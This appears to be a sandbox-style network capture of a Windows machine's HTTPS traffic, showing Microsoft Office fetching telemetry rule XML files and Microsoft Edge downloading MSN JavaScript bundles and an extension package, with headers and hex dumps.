2024-11-25 15:21:37 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49810	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:36 UTC	192	OUT	GET /rules/rule120626v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:37 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DACDF62" x-ms-request-id: 40d9340c-a01e-0050-06b8-3edb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152137Z-178bfbc474bq2pr7hC1NYCkfgg00000007r000000000knth x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:37 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49809	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:36 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:37 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:42 GMT ETag: "0x8DC582B9748630E" x-ms-request-id: c77577e7-501e-0078-0da6-3e06cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152137Z-178bfbc474bp8mkvhC1NYCzqnn00000007kg0000000023gv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:37 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 46 66 5d 5b 55 75 5d 5b 4a 6a 5d 5b 49 69 5d 5b 54 74 5d 5b 53 73 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120625" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <SR T="2" R="([Ff][Uu][Jj][Ii][Tt][Ss][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49811	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:36 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:37 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 4ec414f5-001e-0046-5fa0-3bda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152137Z-174c587ffdf6b487hC1TEBydsn00000005z000000000ru3w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:37 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49812	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:37 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 15:21:37 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 15:21:37 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 6ea5360a-801e-002a-4904-3e31dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T152137Z-178bfbc474bv587zhC1NYCny5w00000007g000000000g3z1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 15:21:37 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.5	49817	23.44.203.20	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:38 UTC	628	OUT	GET /bundles/v1/edgeChromium/latest/vendors.7e27cca6027b8d6697cb.js HTTP/1.1 Host: assets2.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 15:21:38 UTC	1239	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: 2o3TH2IeNXyf9OP87xu6FA== Last-Modified: Tue, 19 Nov 2024 21:34:12 GMT ETag: 0x8DD08E1E8D5CBD7 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: ecee3d1e-f01e-00cb-39e9-3a594a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Mon, 25 Nov 2024 15:21:38 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.195.36.244,b=946628187,c=g,n=US_NJ_SECAUCUS,o=20940] Server-Timing: clientrtt; dur=2, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.195.36.244 Akamai-Request-ID: 386c665b Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.f424c317.1732548098.386c665b Vary: Origin
2024-11-25 15:21:38 UTC	15145	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 76 65 6e 64 6f 72 73 2e 37 65 32 37 63 63 61 36 30 32 37 62 38 64 36 36 39 37 63 62 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 28 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 3d 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 22 5d 2c 7b 37 33 30 34 30 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 7d 74 2e 65 78 70 6f 72 74 73 3d 65 2c 74 2e 65 78 70 6f 72 74 73 2e 48 74 74 70 73 41 67 65 6e 74 3d 65 7d 2c 31 33 30 31 Data Ascii: 00006000/! For license information please see vendors.7e27cca6027b8d6697cb.js.LICENSE.txt /(self.edgeChromiumWebpackChunks=self.edgeChromiumWebpackChunks\|\|[]).push([["vendors"],{73040:function(t){function e(){}t.exports=e,t.exports.HttpsAgent=e},1301
2024-11-25 15:21:38 UTC	9443	IN	Data Raw: 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5e 28 3f 3a 28 5c 5c 64 7b 34 7d 7c 5b 2b 2d 5d 5c 5c 64 7b 22 2b 28 34 2b 65 29 2b 22 7d 29 7c 28 5c 5c 64 7b 32 7d 7c 5b 2b 2d 5d 5c 5c 64 7b 22 2b 28 32 2b 65 29 2b 22 7d 29 24 29 22 29 2c 72 3d 74 2e 6d 61 74 63 68 28 6e 29 3b 69 66 28 21 72 29 72 65 74 75 72 6e 7b 79 65 61 72 3a 4e 61 4e 2c 72 65 73 74 44 61 74 65 53 74 72 69 6e 67 3a 22 22 7d 3b 76 61 72 20 69 3d 72 5b 31 5d 3f 70 61 72 73 65 49 6e 74 28 72 5b 31 5d 29 3a 6e 75 6c 6c 2c 6f 3d 72 5b 32 5d 3f 70 61 72 73 65 49 6e 74 28 72 5b 32 5d 29 3a 6e 75 6c 6c 3b 72 65 74 75 72 6e 7b 79 65 61 72 3a 6e 75 6c 6c 3d 3d 3d 6f 3f 69 3a 31 30 30 2a 6f 2c 72 65 73 74 44 61 74 65 53 74 72 69 6e 67 3a 74 2e 73 6c 69 63 65 28 Data Ascii: ion(t,e){var n=new RegExp("^(?:(\\d{4}\|[+-]\\d{"+(4+e)+"})\|(\\d{2}\|[+-]\\d{"+(2+e)+"})$)"),r=t.match(n);if(!r)return{year:NaN,restDateString:""};var i=r[1]?parseInt(r[1]):null,o=r[2]?parseInt(r[2]):null;return{year:null===o?i:100*o,restDateString:t.slice(
2024-11-25 15:21:38 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 75 78 2f 22 29 7d 2c 61 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 6b 65 79 73 28 74 29 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 5b 6e 5d 3d 74 5b 6e 5d 7d 29 29 7d 2c 73 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 20 6e 28 72 29 7b 69 66 28 65 28 72 29 29 7b 76 61 72 20 69 3d 74 28 72 29 3b 72 65 74 75 72 6e 20 61 28 74 2c 6e 29 2c 69 7d 72 65 74 75 72 6e 7b 7d 7d 3b 72 65 74 75 72 6e 20 61 28 74 2c 6e 29 2c 6e 7d 2c 66 3d 22 52 4f 4f 54 22 2c 6c 3d 22 4e 41 4d 45 53 50 41 43 45 5f 52 4f 4f 54 22 2c 76 3d 22 43 48 49 4c 44 22 2c 64 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 Data Ascii: 00006000ux/")},a=function(t,e){return Object.keys(t).forEach((function(n){return e[n]=t[n]}))},s=function(t,e){var n=function n(r){if(e(r)){var i=t(r);return a(t,n),i}return{}};return a(t,n),n},f="ROOT",l="NAMESPACE_ROOT",v="CHILD",d=function(t){return
2024-11-25 15:21:38 UTC	8204	IN	Data Raw: 65 3d 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 3c 3c 31 38 7c 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 3c 3c 31 32 7c 28 6e 3d 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 29 3c 3c 36 7c 28 72 3d 6c 5b 74 2e 63 68 61 72 41 74 28 6f 2b 2b 29 5d 29 2c 69 2b 3d 36 34 3d 3d 3d 6e 3f 64 28 65 3e 3e 31 36 26 32 35 35 29 3a 36 34 3d 3d 3d 72 3f 64 28 65 3e 3e 31 36 26 32 35 35 2c 65 3e 3e 38 26 32 35 35 29 3a 64 28 65 3e 3e 31 36 26 32 35 35 2c 65 3e 3e 38 26 32 35 35 2c 32 35 35 26 65 29 3b 72 65 74 75 72 6e 20 69 7d 2c 4e 3d 6f 3f 74 3d 3e 61 74 6f 62 28 67 28 74 29 29 3a 63 3f 74 3d 3e 42 75 66 66 65 72 2e 66 72 6f 6d 28 74 2c 22 62 61 73 65 36 34 22 29 2e 74 6f 53 74 72 69 6e 67 28 22 62 69 6e 61 72 79 22 29 3a 4c 2c 44 3d 63 3f 74 3d 3e 70 Data Ascii: e=l[t.charAt(o++)]<<18\|l[t.charAt(o++)]<<12\|(n=l[t.charAt(o++)])<<6\|(r=l[t.charAt(o++)]),i+=64===n?d(e>>16&255):64===r?d(e>>16&255,e>>8&255):d(e>>16&255,e>>8&255,255&e);return i},N=o?t=>atob(g(t)):c?t=>Buffer.from(t,"base64").toString("binary"):L,D=c?t=>p
2024-11-25 15:21:38 UTC	2479	IN	Data Raw: 30 30 30 30 30 39 41 33 0d 0a 72 63 65 2c 45 2e 65 78 65 63 28 74 29 29 3b 72 65 74 75 72 6e 20 65 2e 6c 61 73 74 49 6e 64 65 78 3d 74 2e 6c 61 73 74 49 6e 64 65 78 2c 65 7d 2c 78 3d 6e 28 35 36 31 33 37 29 2c 5f 3d 78 2e 5a 3f 78 2e 5a 2e 70 72 6f 74 6f 74 79 70 65 3a 76 6f 69 64 20 30 2c 53 3d 5f 3f 5f 2e 76 61 6c 75 65 4f 66 3a 76 6f 69 64 20 30 3b 76 61 72 20 54 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 53 3f 4f 62 6a 65 63 74 28 53 2e 63 61 6c 6c 28 74 29 29 3a 7b 7d 7d 2c 4c 3d 6e 28 39 37 35 35 38 29 3b 76 61 72 20 4e 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 76 61 72 20 72 3d 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 73 77 69 74 63 68 28 65 29 7b 63 61 73 65 22 5b 6f 62 6a 65 63 74 20 41 72 72 61 79 42 75 66 66 65 72 5d Data Ascii: 000009A3rce,E.exec(t));return e.lastIndex=t.lastIndex,e},x=n(56137),_=x.Z?x.Z.prototype:void 0,S=_?_.valueOf:void 0;var T=function(t){return S?Object(S.call(t)):{}},L=n(97558);var N=function(t,e,n){var r=t.constructor;switch(e){case"[object ArrayBuffer]
2024-11-25 15:21:38 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 3d 6e 28 37 31 31 35 35 29 3b 65 2e 5a 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 2c 73 29 7b 76 61 72 20 66 3d 2d 31 2c 6c 3d 69 2e 5a 2c 76 3d 21 30 2c 64 3d 74 2e 6c 65 6e 67 74 68 2c 70 3d 5b 5d 2c 68 3d 65 2e 6c 65 6e 67 74 68 3b 69 66 28 21 64 29 72 65 74 75 72 6e 20 70 3b 6e 26 26 28 65 3d 28 30 2c 75 2e 5a 29 28 65 2c 28 30 2c 63 2e 5a 29 28 6e 29 29 29 2c 73 3f 28 6c 3d 6f 2e 5a 2c 76 3d 21 31 29 3a 65 2e 6c 65 6e 67 74 68 3e 3d 32 30 30 26 26 28 6c 3d 61 2e 5a 2c 76 3d 21 31 2c 65 3d 6e 65 77 20 72 2e 5a 28 65 29 29 3b 74 3a 66 6f 72 28 3b 2b 2b 66 3c 64 3b 29 7b 76 61 72 20 67 3d 74 5b 66 5d 2c 5a 3d 6e 75 6c 6c 3d 3d 6e 3f 67 3a 6e 28 67 29 3b 69 66 28 67 3d 73 7c 7c 30 21 3d 3d 67 3f 67 3a 30 2c 76 26 26 5a 3d Data Ascii: 00004000=n(71155);e.Z=function(t,e,n,s){var f=-1,l=i.Z,v=!0,d=t.length,p=[],h=e.length;if(!d)return p;n&&(e=(0,u.Z)(e,(0,c.Z)(n))),s?(l=o.Z,v=!1):e.length>=200&&(l=a.Z,v=!1,e=new r.Z(e));t:for(;++f<d;){var g=t[f],Z=null==n?g:n(g);if(g=s\|\|0!==g?g:0,v&&Z=
2024-11-25 15:21:38 UTC	12	IN	Data Raw: 6e 3a 64 65 6c 65 74 65 20 74 0d 0a Data Ascii: n:delete t
2024-11-25 15:21:39 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 5b 63 5d 29 2c 69 7d 7d 2c 38 37 33 33 39 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 38 30 33 32 33 29 2c 69 3d 6e 28 33 36 31 32 29 2c 6f 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 70 72 6f 70 65 72 74 79 49 73 45 6e 75 6d 65 72 61 62 6c 65 2c 75 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 2c 63 3d 75 3f 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 74 3f 5b 5d 3a 28 74 3d 4f 62 6a 65 63 74 28 74 29 2c 28 30 2c 72 2e 5a 29 28 75 28 74 29 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 2e 63 61 6c 6c 28 74 2c 65 29 7d 29 29 29 7d 3a 69 2e 5a 3b 65 2e 5a 3d Data Ascii: 00004000[c]),i}},87339:function(t,e,n){"use strict";var r=n(80323),i=n(3612),o=Object.prototype.propertyIsEnumerable,u=Object.getOwnPropertySymbols,c=u?function(t){return null==t?[]:(t=Object(t),(0,r.Z)(u(t),(function(e){return o.call(t,e)})))}:i.Z;e.Z=
2024-11-25 15:21:39 UTC	12	IN	Data Raw: 3d 3d 74 79 70 65 6f 66 20 74 0d 0a Data Ascii: ==typeof t
2024-11-25 15:21:39 UTC	15599	IN	Data Raw: 30 30 30 30 33 43 45 33 0d 0a 7d 7d 2c 34 34 31 39 39 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 72 3d 6e 28 34 38 35 31 30 29 2c 69 3d 6e 28 31 32 35 34 35 29 2c 6f 3d 6e 28 32 35 31 39 37 29 2c 75 3d 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2c 63 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2c 61 3d 75 2e 74 6f 53 74 72 69 6e 67 2c 73 3d 63 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 66 3d 61 2e 63 61 6c 6c 28 4f 62 6a 65 63 74 29 3b 65 2e 5a 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 21 28 30 2c 6f 2e 5a 29 28 74 29 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 28 30 2c 72 2e 5a 29 28 74 29 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 28 30 2c 69 Data Ascii: 00003CE3}},44199:function(t,e,n){"use strict";var r=n(48510),i=n(12545),o=n(25197),u=Function.prototype,c=Object.prototype,a=u.toString,s=c.hasOwnProperty,f=a.call(Object);e.Z=function(t){if(!(0,o.Z)(t)\|\|"[object Object]"!=(0,r.Z)(t))return!1;var e=(0,i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.5	49820	23.200.0.34	443	2800	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 15:21:38 UTC	622	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733152893&P2=404&P3=2&P4=Loluap9iVVURpI0751qE5BK6%2fKHQDSwfxJQoIoBf2kCpyrgI1H%2fkiuKk%2fSgLpA%2begQfPmwL%2b2wlLveb5eLQ1dw%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: JW4rWyEbjEAhPcCKySOXKJ Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 15:21:38 UTC	1246	IN	HTTP/1.1 200 OK Content-Type: application/x-chrome-extension Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT Accept-Ranges: bytes ETag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 5.3 MS-CorrelationId: 4818e059-7b49-487b-88fc-dcad5d5225fb MS-RequestId: 51d579c1-b8b4-4c5d-b64e-537654b1aa00 MS-CV: jrKPhoFEeWhKkp+9K/ctXN.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Cache-Control: public, max-age=86400 Date: Mon, 25 Nov 2024 15:21:38 GMT Alt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43" Connection: close Akamai-Request-BC: [a=23.45.172.20,b=486699707,c=g,n=US_NJ_EDISON,o=20940],[c=p,n=US_NJ_EDISON,o=20940] MSREGION: X-CCC: X-CID: 3 Akamai-GRN: 0.14ac2d17.1732548098.1d0272bb Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Server,range,hdntl,hdnts,Akamai-Mon-Iucid-Ing,Akamai-Mon-Iucid-Del,Akamai-Request-BC Access-Control-Allow-Headers: origin,range,hdntl,hdnts,CMCD-Request,CMCD-Object,CMCD-Status,CMCD-Session Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Origin: *
